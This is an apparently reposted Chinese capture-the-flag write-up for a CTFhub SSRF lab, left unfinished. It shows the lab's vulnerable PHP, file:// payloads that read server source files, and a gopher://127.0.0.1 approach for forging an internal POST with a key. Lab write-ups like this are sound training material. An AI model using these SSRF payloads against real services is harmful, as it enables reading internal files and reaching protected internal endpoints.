IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFhub-ssrf-POST请求 -> 正文阅读

[PHP知识库]CTFhub-ssrf-POST请求

CTFhub-ssrf-POST请求

解题

进入靶场,首先看到的是一片空白,没有任何返回,甚至看源码里面也没有任何东西

使用dirsearch扫描,扫出了一个文件/index.php
在这里插入图片描述还有一个flag.php,我是在网上看WP才知道有这个文件,看了很多篇WP都没有说这个文件怎么来的,只是直接说发现了这个文件

现在先来看一看这两个文件吧
首先是flag.php文件,我们让url=127.0.0.1/flag.php,通过内网来访问就能直接访问到了,访问后是一个方框

在这里插入图片描述
再看源码发现,需要用post传输一个key,传到/flag.php
在这里插入图片描述

那我们返回去把key放在里面传送,发现必须通过127.0.0.1的路径传输
先通过file协议看一看flag.php的源码吧,在这里我同时把index源码也放上去了,一起分析

url=file:///var/www/html/flag.php
url=file:///var/www/html/index.php

\\flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}//$_SERVER["REMOTE_ADDR"]意思是访问当前ip地址

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>
\\index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

首先分析一下flag.php文件,它是希望我们通过127.0.0.1的ip地址向它传输那个key值,它首先会通过**$_SERVER[“REMOTE_ADDR”]**来获取我们的ip地址。

再看一下index.php,这里是用了curl函数来获取并且输出数据,curl可以支持的伪协议有很多,gopher,file,dict,http/s

那么我们可以通过gopher协议,向flag.php传一个post报文,报文里面包含有key,大概内容为
url=gopher://127.0.0.1:80/_POST报文内容
这样我们就可以通过伪造127.0.0.1的ip来上传key

首先先来构造POST

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=51457bb0a50c1eb2c92dcc3ec3c2cc13

POST报文中必须包含Host Content-Length Content_Type后面加上我们想传输的数据
在POST后接上/flag.php,代表着我们想把数据传输的这个目录里去

这里我们报文内容显示在url上输入,被解码或保存到curl里面,再通过curl输出跳转,又解码了一次,所以我们要对POST报文两次url编码

在第一次编码要把%0A全部改成%0D0A,%0A是在linux系统中中代表换行符,在windos中是%0D0A代表换行符,但是网上的编码器大都是编码的%0A,所以我们需要改成windos能够识别的

未完待续

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-13 11:42:08  更:2021-08-13 11:44:52 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 23:54:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码